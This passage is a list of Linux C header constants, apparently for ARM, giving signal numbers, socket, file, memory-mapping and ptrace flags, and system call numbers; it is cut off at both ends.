_NSIG 65\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGIOT 6\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGSEGV 11\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGUNUSED 31\n#define SIGBUS 7\n#define SIGUSR1 10\n#define SIGUSR2 12\n#define SIGSTKFLT 16\n#define SIGCHLD 17\n#define SIGCONT 18\n#define SIGSTOP 19\n#define SIGTSTP 20\n#define SIGTTIN 21\n#define SIGTTOU 22\n#define SIGURG 23\n#define SIGXCPU 24\n#define SIGXFSZ 25\n#define SIGVTALRM 26\n#define SIGPROF 27\n#define SIGWINCH 28\n#define SIGIO 29\n#define SIGPWR 30\n#define SIGSYS 31\n#define SIGCLD 17\n#define SIGPOLL 29\n#define SIGLOST 30\n#define SIGRTMIN 32\n#define SIGRTMAX (65-1)\n#define SA_NOCLDSTOP 0x00000001\n#define SA_NOCLDWAIT 0x00000002\n#define SA_SIGINFO 0x00000004\n#define SA_THIRTYTWO 0x02000000\n#define SA_RESTORER 0x04000000\n#define SA_ONSTACK 0x08000000\n#define SA_RESTART 0x10000000\n#define SA_INTERRUPT 0x20000000\n#define SA_NODEFER 0x40000000\n#define SA_RESETHAND 0x80000000\n#define SA_NOMASK 0x40000000\n#define SA_ONESHOT 0x80000000\n#define SS_ONSTACK 1\n#define SS_DISABLE 2\n#define MINSIGSTKSZ 2048\n#define SIGSTKSZ 8192\n#define SIG_BLOCK 0\n#define SIG_UNBLOCK 1\n#define SIG_SETMASK 2\n#define SI_MAX_SIZE 128\n#define SIGEV_SIGNAL 0\n#define SIGEV_NONE 1\n#define SIGEV_THREAD 2\n#define SIGEV_THREAD_ID 4\n#define SIGEV_MAX_SIZE 64\n#define _SYS_TIME_H 1\n#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define FD_SETSIZE 1024\n#define R_OK 4\n#define W_OK 2\n#define X_OK 1\n#define F_OK 0\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#define STDIN_FILENO 0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#define _CS_PATH 1\n#define _SC_CLK_TCK 1\n#define _SC_ARG_MAX 2\n#define _SC_NGROUPS_MAX 3\n#define _SC_OPEN_MAX 4\n#define _SC_PAGESIZE 5\n#define _SC_NPROCESSORS_ONLN 6\n#define _SC_NPROCESSORS_CONF 6\n#define _SC_PHYS_PAGES 7\n#define _SC_GETPW_R_SIZE_MAX 8\n#define _SC_GETGR_R_SIZE_MAX 9\n#define _PC_PATH_MAX 1\n#define _PC_VDISABLE 2\n#define L_cuserid 17\n#define _POSIX_VERSION 199506\n#define F_ULOCK 0\n#define F_LOCK 1\n#define F_TLOCK 2\n#define F_TEST 3\n#define _POSIX_MAPPED_FILES 200809\n#define STAT64_HAS_BROKEN_ST_INO 1\n#define S_IFMT 0xf000\n#define S_IFSOCK 0xc000\n#define S_IFLNK 0xa000\n#define S_IFREG 0x8000\n#define S_IFBLK 0x6000\n#define S_IFDIR 0x4000\n#define S_IFCHR 0x2000\n#define S_IFIFO 0x1000\n#define S_ISUID 0x800\n#define S_ISGID 0x400\n#define S_ISVTX 0x200\n#define S_IRWXU 0x1c0\n#define S_IRUSR 0x100\n#define S_IWUSR 0x80\n#define S_IXUSR 0x40\n#define S_IRWXG 0x38\n#define S_IRGRP 0x20\n#define S_IWGRP 0x10\n#define S_IXGRP 0x8\n#define S_IRWXO 0x7\n#define S_IROTH 0x4\n#define S_IWOTH 0x2\n#define S_IXOTH 0x1\n#define S_IREAD 0x100\n#define S_IWRITE 0x80\n#define S_IEXEC 0x40\n#define _SYS_UIO 1\n#define SOL_SOCKET 1\n#define SO_DEBUG 1\n#define SO_REUSEADDR 2\n#define SO_TYPE 3\n#define SO_ERROR 4\n#define SO_DONTROUTE 5\n#define SO_BROADCAST 6\n#define SO_SNDBUF 7\n#define SO_RCVBUF 8\n#define SO_KEEPALIVE 9\n#define SO_OOBINLINE 10\n#define SO_NO_CHECK 11\n#define SO_PRIORITY 12\n#define SO_LINGER 13\n#define SO_BSDCOMPAT 14\n#define SO_REUSEPORT 15\n#define SO_PASSCRED 16\n#define SO_PEERCRED 17\n#define SO_RCVLOWAT 18\n#define SO_SNDLOWAT 19\n#define SO_RCVTIMEO 20\n#define SO_SNDTIMEO 21\n#define SO_SECURITY_AUTHENTICATION 22\n#define SO_SECURITY_ENCRYPTION_TRANSPORT 23\n#define SO_SECURITY_ENCRYPTION_NETWORK 24\n#define SO_BINDTODEVICE 25\n#define SO_ATTACH_FILTER 26\n#define SO_DETACH_FILTER 27\n#define SO_GET_FILTER 26\n#define SO_PEERNAME 28\n#define SO_TIMESTAMP 29\n#define SCM_TIMESTAMP 29\n#define SO_ACCEPTCONN 30\n#define SO_PEERSEC 31\n#define SO_SNDBUFFORCE 32\n#define SO_RCVBUFFORCE 33\n#define SO_PASSSEC 34\n#define SO_TIMESTAMPNS 35\n#define SCM_TIMESTAMPNS 35\n#define SO_MARK 36\n#define SO_TIMESTAMPING 37\n#define SCM_TIMESTAMPING 37\n#define SO_PROTOCOL 38\n#define SO_DOMAIN 39\n#define SO_RXQ_OVFL 40\n#define SO_WIFI_STATUS 41\n#define SCM_WIFI_STATUS 41\n#define SO_PEEK_OFF 42\n#define SO_NOFCS 43\n#define SO_LOCK_FILTER 44\n#define SO_SELECT_ERR_QUEUE 45\n#define SO_BUSY_POLL 46\n#define SO_MAX_PACING_RATE 47\n#define SO_BPF_EXTENSIONS 48\n#define SO_INCOMING_CPU 49\n#define SO_ATTACH_BPF 50\n#define SO_DETACH_BPF 27\n#define SO_ATTACH_REUSEPORT_CBPF 51\n#define SO_ATTACH_REUSEPORT_EBPF 52\n#define SO_CNX_ADVICE 53\n#define SCM_TIMESTAMPING_OPT_STATS 54\n#define SO_MEMINFO 55\n#define SO_INCOMING_NAPI_ID 56\n#define SO_COOKIE 57\n#define SCM_TIMESTAMPING_PKTINFO 58\n#define SO_PEERGROUPS 59\n#define SO_ZEROCOPY 60\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SOCK_DCCP 6\n#define SOCK_PACKET 10\n#define UIO_FASTIOV 8\n#define UIO_MAXIOV 1024\n#define SCM_RIGHTS 0x01\n#define SCM_CREDENTIALS 0x02\n#define SCM_CONNECT 0x03\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_LOCAL 1\n#define AF_INET 2\n#define AF_AX25 3\n#define AF_IPX 4\n#define AF_APPLETALK 5\n#define AF_NETROM 6\n#define AF_BRIDGE 7\n#define AF_ATMPVC 8\n#define AF_X25 9\n#define AF_INET6 10\n#define AF_ROSE 11\n#define AF_DECnet 12\n#define AF_NETBEUI 13\n#define AF_SECURITY 14\n#define AF_KEY 15\n#define AF_NETLINK 16\n#define AF_ROUTE 16\n#define AF_PACKET 17\n#define AF_ASH 18\n#define AF_ECONET 19\n#define AF_ATMSVC 20\n#define AF_SNA 22\n#define AF_IRDA 23\n#define AF_PPPOX 24\n#define AF_WANPIPE 25\n#define AF_LLC 26\n#define AF_IB 27\n#define AF_MPLS 28\n#define AF_CAN 29\n#define AF_TIPC 30\n#define AF_BLUETOOTH 31\n#define AF_IUCV 32\n#define AF_RXRPC 33\n#define AF_ISDN 34\n#define AF_PHONET 35\n#define AF_IEEE802154 36\n#define AF_CAIF 37\n#define AF_ALG 38\n#define AF_NFC 39\n#define AF_VSOCK 40\n#define AF_KCM 41\n#define AF_QIPCRTR 42\n#define AF_SMC 43\n#define AF_MAX 44\n#define PF_UNSPEC 0\n#define PF_UNIX 1\n#define PF_LOCAL 1\n#define PF_INET 2\n#define PF_AX25 3\n#define PF_IPX 4\n#define PF_APPLETALK 5\n#define PF_NETROM 6\n#define PF_BRIDGE 7\n#define PF_ATMPVC 8\n#define PF_X25 9\n#define PF_INET6 10\n#define PF_ROSE 11\n#define PF_DECnet 12\n#define PF_NETBEUI 13\n#define PF_SECURITY 14\n#define PF_KEY 15\n#define PF_NETLINK 16\n#define PF_ROUTE 16\n#define PF_PACKET 17\n#define PF_ASH 18\n#define PF_ECONET 19\n#define PF_ATMSVC 20\n#define PF_SNA 22\n#define PF_IRDA 23\n#define PF_PPPOX 24\n#define PF_WANPIPE 25\n#define PF_LLC 26\n#define PF_IB 27\n#define PF_MPLS 28\n#define PF_CAN 29\n#define PF_TIPC 30\n#define PF_BLUETOOTH 31\n#define PF_IUCV 32\n#define PF_RXRPC 33\n#define PF_ISDN 34\n#define PF_PHONET 35\n#define PF_IEEE802154 36\n#define PF_CAIF 37\n#define PF_ALG 38\n#define PF_NFC 39\n#define PF_VSOCK 40\n#define PF_KCM 41\n#define PF_QIPCRTR 42\n#define PF_SMC 43\n#define PF_MAX 44\n#define SOMAXCONN 128\n#define MSG_OOB 1\n#define MSG_PEEK 2\n#define MSG_DONTROUTE 4\n#define MSG_TRYHARD 4\n#define MSG_CTRUNC 8\n#define MSG_PROBE 0x10\n#define MSG_TRUNC 0x20\n#define MSG_DONTWAIT 0x40\n#define MSG_EOR 0x80\n#define MSG_WAITALL 0x100\n#define MSG_FIN 0x200\n#define MSG_SYN 0x400\n#define MSG_CONFIRM 0x800\n#define MSG_RST 0x1000\n#define MSG_ERRQUEUE 0x2000\n#define MSG_NOSIGNAL 0x4000\n#define MSG_MORE 0x8000\n#define MSG_WAITFORONE 0x10000\n#define MSG_SENDPAGE_NOTLAST 0x20000\n#define MSG_BATCH 0x40000\n#define MSG_EOF 0x200\n#define MSG_ZEROCOPY 0x4000000\n#define MSG_FASTOPEN 0x20000000\n#define MSG_CMSG_CLOEXEC 0x40000000\n#define SOL_IP 0\n#define SOL_TCP 6\n#define SOL_UDP 17\n#define SOL_IPV6 41\n#define SOL_ICMPV6 58\n#define SOL_SCTP 132\n#define SOL_UDPLITE 136\n#define SOL_RAW 255\n#define SOL_IPX 256\n#define SOL_AX25 257\n#define SOL_ATALK 258\n#define SOL_NETROM 259\n#define SOL_ROSE 260\n#define SOL_DECNET 261\n#define SOL_X25 262\n#define SOL_PACKET 263\n#define SOL_ATM 264\n#define SOL_AAL 265\n#define SOL_IRDA 266\n#define SOL_NETBEUI 267\n#define SOL_LLC 268\n#define SOL_DCCP 269\n#define SOL_NETLINK 270\n#define SOL_TIPC 271\n#define SOL_RXRPC 272\n#define SOL_PPPOL2TP 273\n#define SOL_BLUETOOTH 274\n#define SOL_PNPIPE 275\n#define SOL_RDS 276\n#define SOL_IUCV 277\n#define SOL_CAIF 278\n#define SOL_ALG 279\n#define SOL_NFC 280\n#define SOL_KCM 281\n#define SOL_TLS 282\n#define IPX_TYPE 1\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define NI_NOFQDN 1\n#define NI_NUMERICHOST 2\n#define NI_NAMEREQD 4\n#define NI_NUMERICSERV 8\n#define NI_DGRAM 16\n#define EAI_FAMILY -1\n#define EAI_SOCKTYPE -2\n#define EAI_BADFLAGS -3\n#define EAI_NONAME -4\n#define EAI_SERVICE -5\n#define EAI_ADDRFAMILY -6\n#define EAI_NODATA -7\n#define EAI_MEMORY -8\n#define EAI_FAIL -9\n#define EAI_AGAIN -10\n#define EAI_SYSTEM -11\n#define AI_NUMERICHOST 1\n#define AI_CANONNAME 2\n#define AI_PASSIVE 4\n#define AI_NUMERICSERV 8\n#define AI_ADDRCONFIG 16\n#define AI_V4MAPPED 32\n#define AI_ALL 64\n#define SIOCADDRT 0x890B\n#define SIOCDELRT 0x890C\n#define SIOCRTMSG 0x890D\n#define SIOCGIFNAME 0x8910\n#define SIOCSIFLINK 0x8911\n#define SIOCGIFCONF 0x8912\n#define SIOCGIFFLAGS 0x8913\n#define SIOCSIFFLAGS 0x8914\n#define SIOCGIFADDR 0x8915\n#define SIOCSIFADDR 0x8916\n#define SIOCGIFDSTADDR 0x8917\n#define SIOCSIFDSTADDR 0x8918\n#define SIOCGIFBRDADDR 0x8919\n#define SIOCSIFBRDADDR 0x891a\n#define SIOCGIFNETMASK 0x891b\n#define SIOCSIFNETMASK 0x891c\n#define SIOCGIFMETRIC 0x891d\n#define SIOCSIFMETRIC 0x891e\n#define SIOCGIFMEM 0x891f\n#define SIOCSIFMEM 0x8920\n#define SIOCGIFMTU 0x8921\n#define SIOCSIFMTU 0x8922\n#define SIOCSIFNAME 0x8923\n#define SIOCSIFHWADDR 0x8924\n#define SIOCGIFENCAP 0x8925\n#define SIOCSIFENCAP 0x8926\n#define SIOCGIFHWADDR 0x8927\n#define SIOCGIFSLAVE 0x8929\n#define SIOCSIFSLAVE 0x8930\n#define SIOCADDMULTI 0x8931\n#define SIOCDELMULTI 0x8932\n#define SIOCGIFINDEX 0x8933\n#define SIOGIFINDEX 0x8933\n#define SIOCSIFPFLAGS 0x8934\n#define SIOCGIFPFLAGS 0x8935\n#define SIOCDIFADDR 0x8936\n#define SIOCSIFHWBROADCAST 0x8937\n#define SIOCGIFCOUNT 0x8938\n#define SIOCGIFBR 0x8940\n#define SIOCSIFBR 0x8941\n#define SIOCGIFTXQLEN 0x8942\n#define SIOCSIFTXQLEN 0x8943\n#define SIOCGIFDIVERT 0x8944\n#define SIOCSIFDIVERT 0x8945\n#define SIOCETHTOOL 0x8946\n#define SIOCDARP 0x8953\n#define SIOCGARP 0x8954\n#define SIOCSARP 0x8955\n#define SIOCDRARP 0x8960\n#define SIOCGRARP 0x8961\n#define SIOCSRARP 0x8962\n#define SIOCGIFMAP 0x8970\n#define SIOCSIFMAP 0x8971\n#define SIOCADDDLCI 0x8980\n#define SIOCDELDLCI 0x8981\n#define SIOCDEVPRIVATE 0x89F0\n#define F_LINUX_SPECIFIC_BASE 1024\n#define O_ACCMODE 0x3\n#define O_RDONLY 0x0\n#define O_WRONLY 0x1\n#define O_RDWR 0x2\n#define O_CREAT 0x40\n#define O_EXCL 0x80\n#define O_NOCTTY 0x100\n#define O_TRUNC 0x200\n#define O_APPEND 0x400\n#define O_NONBLOCK 0x800\n#define O_NDELAY 0x800\n#define O_DSYNC 0x1000\n#define FASYNC 0x2000\n#define O_DIRECTORY 0x4000\n#define O_NOFOLLOW 0x8000\n#define O_DIRECT 0x10000\n#define O_LARGEFILE 0x20000\n#define O_NOATIME 0x40000\n#define O_CLOEXEC 0x80000\n#define O_SYNC 0x101000\n#define O_PATH 0x200000\n#define __O_TMPFILE 0x400000\n#define F_DUPFD 0\n#define F_GETFD 1\n#define F_SETFD 2\n#define F_GETFL 3\n#define F_SETFL 4\n#define F_GETLK 5\n#define F_SETLK 6\n#define F_SETLKW 7\n#define F_SETOWN 8\n#define F_GETOWN 9\n#define F_SETSIG 10\n#define F_GETSIG 11\n#define F_GETLK64 12\n#define F_SETLK64 13\n#define F_SETLKW64 14\n#define FD_CLOEXEC 1\n#define F_RDLCK 0\n#define F_WRLCK 1\n#define F_UNLCK 2\n#define F_EXLCK 4\n#define F_SHLCK 8\n#define F_INPROGRESS 16\n#define LOCK_SH 1\n#define LOCK_EX 2\n#define LOCK_NB 4\n#define LOCK_UN 8\n#define LOCK_MAND 32\n#define LOCK_READ 64\n#define LOCK_WRITE 128\n#define LOCK_RW 192\n#define O_TMPFILE 0x404000\n#define O_ASYNC 0x2000\n#define F_SETOWN_EX 15\n#define F_GETOWN_EX 16\n#define F_GETOWNER_UIDS 17\n#define F_OFD_GETLK 36\n#define F_OFD_SETLK 37\n#define F_OFD_SETLKW 38\n#define F_OWNER_TID 0\n#define F_OWNER_PID 1\n#define F_OWNER_PGRP 2\n#define AT_FDCWD -100\n#define AT_SYMLINK_NOFOLLOW 0x100\n#define AT_REMOVEDIR 0x200\n#define AT_SYMLINK_FOLLOW 0x400\n#define AT_NO_AUTOMOUNT 0x800\n#define AT_EMPTY_PATH 0x1000\n#define AT_EACCESS 0x200\n#define MREMAP_MAYMOVE 1\n#define MREMAP_FIXED 2\n#define PROT_READ 0x1\n#define PROT_WRITE 0x2\n#define PROT_EXEC 0x4\n#define PROT_SEM 0x8\n#define PROT_NONE 0x0\n#define PROT_GROWSDOWN 0x01000000\n#define PROT_GROWSUP 0x02000000\n#define MAP_SHARED 0x01\n#define MAP_PRIVATE 0x02\n#define MAP_TYPE 0xf\n#define MADV_REMOVE 9\n#define MADV_DONTFORK 10\n#define MADV_DOFORK 11\n#define MADV_MERGEABLE 12\n#define MADV_UNMERGEABLE 13\n#define MADV_HUGEPAGE 14\n#define MADV_NOHUGEPAGE 15\n#define MADV_DONTDUMP 16\n#define MADV_DODUMP 17\n#define MADV_HWPOISON 100\n#define MADV_SOFT_OFFLINE 101\n#define MLOCK_ONFAULT 1\n#define MAP_FIXED 0x10\n#define MAP_ANONYMOUS 0x20\n#define MAP_GROWSDOWN 0x0100\n#define MAP_DENYWRITE 0x0800\n#define MAP_EXECUTABLE 0x1000\n#define MAP_LOCKED 0x2000\n#define MAP_NORESERVE 0x4000\n#define MAP_POPULATE 0x8000\n#define MAP_NONBLOCK 0x10000\n#define MAP_STACK 0x20000\n#define MAP_HUGETLB 0x40000\n#define MS_ASYNC 1\n#define MS_INVALIDATE 2\n#define MS_SYNC 4\n#define MCL_CURRENT 1\n#define MCL_FUTURE 2\n#define MCL_ONFAULT 4\n#define MADV_NORMAL 0x0\n#define MADV_RANDOM 0x1\n#define MADV_SEQUENTIAL 0x2\n#define MADV_WILLNEED 0x3\n#define MADV_DONTNEED 0x4\n#define MAP_ANON 0x20\n#define MAP_FILE 0\n#define POSIX_MADV_NORMAL 0x0\n#define POSIX_MADV_SEQUENTIAL 0x2\n#define POSIX_MADV_RANDOM 0x1\n#define POSIX_MADV_WILLNEED 0x3\n#define POSIX_MADV_DONTNEED 0x4\n#define PTRACE_TRACEME 0\n#define PTRACE_PEEKTEXT 1\n#define PTRACE_PEEKDATA 2\n#define PTRACE_PEEKUSR 3\n#define PTRACE_PEEKUSER 3\n#define PTRACE_POKETEXT 4\n#define PTRACE_POKEDATA 5\n#define PTRACE_POKEUSR 6\n#define PTRACE_POKEUSER 6\n#define PTRACE_CONT 7\n#define PTRACE_KILL 8\n#define PTRACE_SINGLESTEP 9\n#define PTRACE_ATTACH 0x10\n#define PTRACE_DETACH 0x11\n#define PTRACE_SYSCALL 24\n#define PTRACE_GETEVENTMSG 0x4201\n#define PTRACE_GETSIGINFO 0x4202\n#define PTRACE_SETSIGINFO 0x4203\n#define PTRACE_O_TRACESYSGOOD 0x00000001\n#define PTRACE_O_TRACEFORK 0x00000002\n#define PTRACE_O_TRACEVFORK 0x00000004\n#define PTRACE_O_TRACECLONE 0x00000008\n#define PTRACE_O_TRACEEXEC 0x00000010\n#define PTRACE_O_TRACEVFORKDONE 0x00000020\n#define PTRACE_O_TRACEEXIT 0x00000040\n#define PTRACE_O_MASK 0x0000007f\n#define PTRACE_EVENT_FORK 1\n#define PTRACE_EVENT_VFORK 2\n#define PTRACE_EVENT_CLONE 3\n#define PTRACE_EVENT_EXEC 4\n#define PTRACE_EVENT_VFORK_DONE 5\n#define PTRACE_EVENT_EXIT 6\n#define PT_TRACE_ME 0\n#define PT_READ_I 1\n#define PT_READ_D 2\n#define PT_READ_U 3\n#define PT_WRITE_I 4\n#define PT_WRITE_D 5\n#define PT_WRITE_U 6\n#define PT_CONTINUE 7\n#define PT_KILL 8\n#define PT_STEP 9\n#define PT_ATTACH 0x10\n#define PT_DETACH 0x11\n#define USR26_MODE 0x00\n#define FIQ26_MODE 0x01\n#define IRQ26_MODE 0x02\n#define SVC26_MODE 0x03\n#define USR_MODE 0x10\n#define FIQ_MODE 0x11\n#define IRQ_MODE 0x12\n#define SVC_MODE 0x13\n#define ABT_MODE 0x17\n#define UND_MODE 0x1b\n#define SYSTEM_MODE 0x1f\n#define MODE_MASK 0x1f\n#define T_BIT 0x20\n#define F_BIT 0x40\n#define I_BIT 0x80\n#define CC_V_BIT (1 << 28)\n#define CC_C_BIT (1 << 29)\n#define CC_Z_BIT (1 << 30)\n#define CC_N_BIT (1 << 31)\n#define PCMASK 0\n#define SYS_accept (0+285)\n#define SYS_accept4 (0+366)\n#define SYS_access (0+ 33)\n#define SYS_acct (0+ 51)\n#define SYS_add_key (0+309)\n#define SYS_adjtimex (0+124)\n#define SYS_alarm (0+ 27)\n#define SYS_arm_fadvise64_64 (0+270)\n#define SYS_arm_sync_file_range (0+341)\n#define SYS_bdflush (0+134)\n#define SYS_bind (0+282)\n#define SYS_bpf (0+386)\n#define SYS_brk (0+ 45)\n#define SYS_capget (0+184)\n#define SYS_capset (0+185)\n#define SYS_chdir (0+ 12)\n#define SYS_chmod (0+ 15)\n#define SYS_chown (0+182)\n#define SYS_chown32 (0+212)\n#define SYS_chroot (0+ 61)\n#define SYS_clock_adjtime (0+372)\n#define SYS_clock_adjtime64 (0 + 405)\n#define SYS_clock_getres (0+264)\n#define SYS_clock_getres_time64 (0 + 406)\n#define SYS_clock_gettime (0+263)\n#define SYS_clock_gettime64 (0 + 403)\n#define SYS_clock_nanosleep (0+265)\n#define SYS_clock_nanosleep_time64 (0 + 407)\n#define SYS_clock_settime (0+262)\n#define SYS_clock_settime64 (0 + 404)\n#define SYS_clone (0+120)\n#define SYS_clone3 (0 + 435)\n#define SYS_close (0+  6)\n#define SYS_connect (0+283)\n#define SYS_copy_file_range (0+391)\n#define SYS_creat (0+  8)\n#define SYS_delete_module (0+129)\n#define SYS_dup (0+ 41)\n#define SYS_dup2 (0+ 63)\n#define SYS_dup3 (0+358)\n#define SYS_epoll_create (0+250)\n#define SYS_epoll_create1 (0+357)\n#define SYS_epoll_ctl (0+251)\n#define SYS_epoll_wait (0+252)\n#define SYS_eventfd (0+351)\n#define SYS_eventfd2 (0+356)\n#define SYS_execve (0+ 11)\n#define SYS_execveat (0+387)\n#define SYS_exit (0+  1)\n#define SYS_exit_group (0+248)\n#define SYS_faccessat (0+334)\n#define SYS_fallocate (0+352)\n#define SYS_fanotify_init (0+367)\n#define SYS_fanotify_mark (0+368)\n#define SYS_fchdir (0+133)\n#define SYS_fchmod (0+ 94)\n#define SYS_fchmodat (0+333)\n#define SYS_fchown (0+ 95)\n#define SYS_fchown32 (0+207)\n#define SYS_fchownat (0+325)\n#define SYS_fcntl (0+ 55)\n#define SYS_fcntl64 (0+221)\n#define SYS_fdatasync (0+148)\n#define SYS_fgetxattr (0+231)\n#define SYS_finit_module (0+379)\n#define SYS_flistxattr (0+234)\n#define SYS_flock (0+143)\n#define SYS_fork (0+  2)\n#define SYS_fremovexattr (0+237)\n#define SYS_fsconfig (0 + 431)\n#define SYS_fsetxattr (0+228)\n#define SYS_fsmount (0 + 432)\n#define SYS_fsopen (0 + 430)\n#define SYS_fspick (0 + 433)\n#define SYS_fstat (0+108)\n#define SYS_fstat64 (0+197)\n#define SYS_fstatat64 (0+327)\n#define SYS_fstatfs (0+100)\n#define SYS_fstatfs64 (0+267)\n#define SYS_fsync (0+118)\n#define SYS_ftruncate (0+ 93)\n#define SYS_ftruncate64 (0+194)\n#define SYS_futex (0+240)\n#define SYS_futex_time64 (0 + 422)\n#define SYS_futimesat (0+326)\n#define SYS_getcpu (0+345)\n#define SYS_getcwd (0+183)\n#define SYS_getdents (0+141)\n#define SYS_getdents64 (0+217)\n#define SYS_getegid (0+ 50)\n#define SYS_getegid32 (0+202)\n#define SYS_geteuid (0+ 49)\n#define SYS_geteuid32 (0+201)\n#define SYS_getgid (0+ 47)\n#define SYS_getgid32 (0+200)\n#define SYS_getgroups (0+ 80)\n#define SYS_getgroups32 (0+205)\n#define SYS_getitimer (0+105)\n#define SYS_get_mempolicy (0+320)\n#define SYS_getpeername (0+287)\n#define SYS_getpgid (0+132)\n#define SYS_getpgrp (0+ 65)\n#define SYS_getpid (0+ 20)\n#define SYS_getppid (0+ 64)\n#define SYS_getpriority (0+ 96)\n#define SYS_getrandom (0+384)\n#define SYS_getresgid (0+171)\n#define SYS_getresgid32 (0+211)\n#define SYS_getresuid (0+165)\n#define SYS_getresuid32 (0+209)\n#define SYS_getrlimit (0+ 76)\n#define SYS_get_robust_list (0+339)\n#define SYS_getrusage (0+ 77)\n#define SYS_getsid (0+147)\n#define SYS_getsockname (0+286)\n#define SYS_getsockopt (0+295)\n#define SYS_gettid (0+224)\n#define SYS_gettimeofday (0+ 78)\n#define SYS_getuid (0+ 24)\n#define SYS_getuid32 (0+199)\n#define SYS_getxattr (0+229)\n#define SYS_init_module (0+128)\n#define SYS_inotify_add_watch (0+317)\n#define SYS_inotify_init (0+316)\n#define SYS_inotify_init1 (0+360)\n#define SYS_inotify_rm_watch (0+318)\n#define SYS_io_cancel (0+247)\n#define SYS_ioctl (0+ 54)\n#define SYS_io_destroy (0+244)\n#define SYS_io_getevents (0+245)\n#define SYS_io_pgetevents (0 + 399)\n#define SYS_io_pgetevents_time64 (0 + 416)\n#define SYS_ioprio_get (0+315)\n#define SYS_ioprio_set (0+314)\n#define SYS_io_setup (0+243)\n#define SYS_io_submit (0+246)\n#define SYS_io_uring_enter (0 + 426)\n#define SYS_io_uring_register (0 + 427)\n#define SYS_io_uring_setup (0 + 425)\n#define SYS_ipc (0+117)\n#define SYS_kcmp (0+378)\n#define SYS_kexec_file_load (0 + 401)\n#define SYS_kexec_load (0+347)\n#define SYS_keyctl (0+311)\n#define SYS_kill (0+ 37)\n#define SYS_lchown (0+ 16)\n#define SYS_lchown32 (0+198)\n#define SYS_lgetxattr (0+230)\n#define SYS_link (0+  9)\n#define SYS_linkat (0+330)\n#define SYS_listen (0+284)\n#define SYS_listxattr (0+232)\n#define SYS_llistxattr (0+233)\n#define SYS__llseek (0+140)\n#define SYS_lookup_dcookie (0+249)\n#define SYS_lremovexattr (0+236)\n#define SYS_lseek (0+ 19)\n#define SYS_lsetxattr (0+227)\n#define SYS_lstat (0+107)\n#define SYS_lstat64 (0+196)\n#define SYS_madvise (0+220)\n#define SYS_mbind (0+319)\n#define SYS_membarrier (0+389)\n#define SYS_memfd_create (0+385)\n#define SYS_migrate_pages (0 + 400)\n#define SYS_mincore (0+219)\n#define SYS_mkdir (0+ 39)\n#define SYS_mkdirat (0+323)\n#define SYS_mknod (0+ 14)\n#define SYS_mknodat (0+324)\n#define SYS_mlock (0+150)\n#define SYS_mlock2 (0+390)\n#define SYS_mlockall (0+152)\n#define SYS_mmap (0+ 90)\n#define SYS_mmap2 (0+192)\n#define SYS_mount (0+ 21)\n#define SYS_move_mount (0 + 429)\n#define SYS_move_pages (0+344)\n#define SYS_mprotect (0+125)\n#define SYS_mq_getsetattr (0+279)\n#define SYS_mq_notify (0+278)\n#define SYS_mq_open (0+274)\n#define SYS_mq_timedreceive (0+277)\n#define SYS_mq_timedreceive_time64 (0 + 419)\n#define SYS_mq_timedsend (0+276)\n#define SYS_mq_timedsend_time64 (0 + 418)\n#define SYS_mq_unlink (0+275)\n#define SYS_mremap (0+163)\n#define SYS_msgctl (0+304)\n#define SYS_msgget (0+303)\n#define SYS_msgrcv (0+302)\n#define SYS_msgsnd (0+301)\n#define SYS_msync (0+144)\n#define SYS_munlock (0+151)\n#define SYS_munlockall (0+153)\n#define SYS_munmap (0+ 91)\n#define SYS_name_to_handle_at (0+370)\n#define SYS_nanosleep (0+162)\n#define SYS__newselect (0+142)\n#define SYS_nfsservctl (0+169)\n#define SYS_nice (0+ 34)\n#define SYS_OABI_SYSCALL_BASE 0x900000\n#define SYS_open (0+  5)\n#define SYS_openat (0+322)\n#define SYS_openat2 (0 + 437)\n#define SYS_open_by_handle_at (0+371)\n#define SYS_open_tree (0 + 428)\n#define SYS_pause (0+ 29)\n#define SYS_pciconfig_iobase (0+271)\n#define SYS_pciconfig_read (0+272)\n#define SYS_pciconfig_write (0+273)\n#define SYS_perf_event_open (0+364)\n#define SYS_personality (0+136)\n#define SYS_pidfd_getfd (0 + 438)\n#define SYS_pidfd_open (0 + 434)\n#define SYS_pidfd_send_signal (0 + 424)\n#define SYS_pipe (0+ 42)\n#define SYS_pipe2 (0+359)\n#define SYS_pivot_root (0+218)\n#define SYS_pkey_alloc (0 + 395)\n#define SYS_pkey_free (0 + 396)\n#define SYS_pkey_mprotect (0 + 394)\n#define SYS_poll (0+168)\n#define SYS_ppoll_time64 (0 + 414)\n#define SYS_prctl (0+172)\n#define SYS_pread64 (0+180)\n#define SYS_preadv (0+361)\n#define SYS_preadv2 (0+392)\n#define SYS_prlimit64 (0+369)\n#define SYS_process_vm_readv (0+376)\n#define SYS_process_vm_writev (0+377)\n#define SYS_pselect6_time64 (0 + 413)\n#define SYS_ptrace (0+ 26)\n#define SYS_pwrite64 (0+181)\n#define SYS_pwritev (0+362)\n#define SYS_pwritev2 (0+393)\n#define SYS_quotactl (0+131)\n#define SYS_read (0+  3)\n#define SYS_readahead (0+225)\n#define SYS_readdir (0+ 89)\n#define SYS_readlink (0+ 85)\n#define SYS_readlinkat (0+332)\n#define SYS_readv (0+145)\n#define SYS_reboot (0+ 88)\n#define SYS_recv (0+291)\n#define SYS_recvfrom (0+292)\n#define SYS_recvmmsg (0+365)\n#define SYS_recvmmsg_time64 (0 + 417)\n#define SYS_recvmsg (0+297)\n#define SYS_remap_file_pages (0+253)\n#define SYS_removexattr (0+235)\n#define SYS_rename (0+ 38)\n#define SYS_renameat (0+329)\n#define SYS_renameat2 (0+382)\n#define SYS_request_key (0+310)\n#define SYS_restart_syscall (0+  0)\n#define SYS_rmdir (0+ 40)\n#define SYS_rseq (0 + 398)\n#define SYS_rt_sigaction (0+174)\n#define SYS_rt_sigpending (0+176)\n#define SYS_rt_sigprocmask (0+175)\n#define SYS_rt_sigqueueinfo 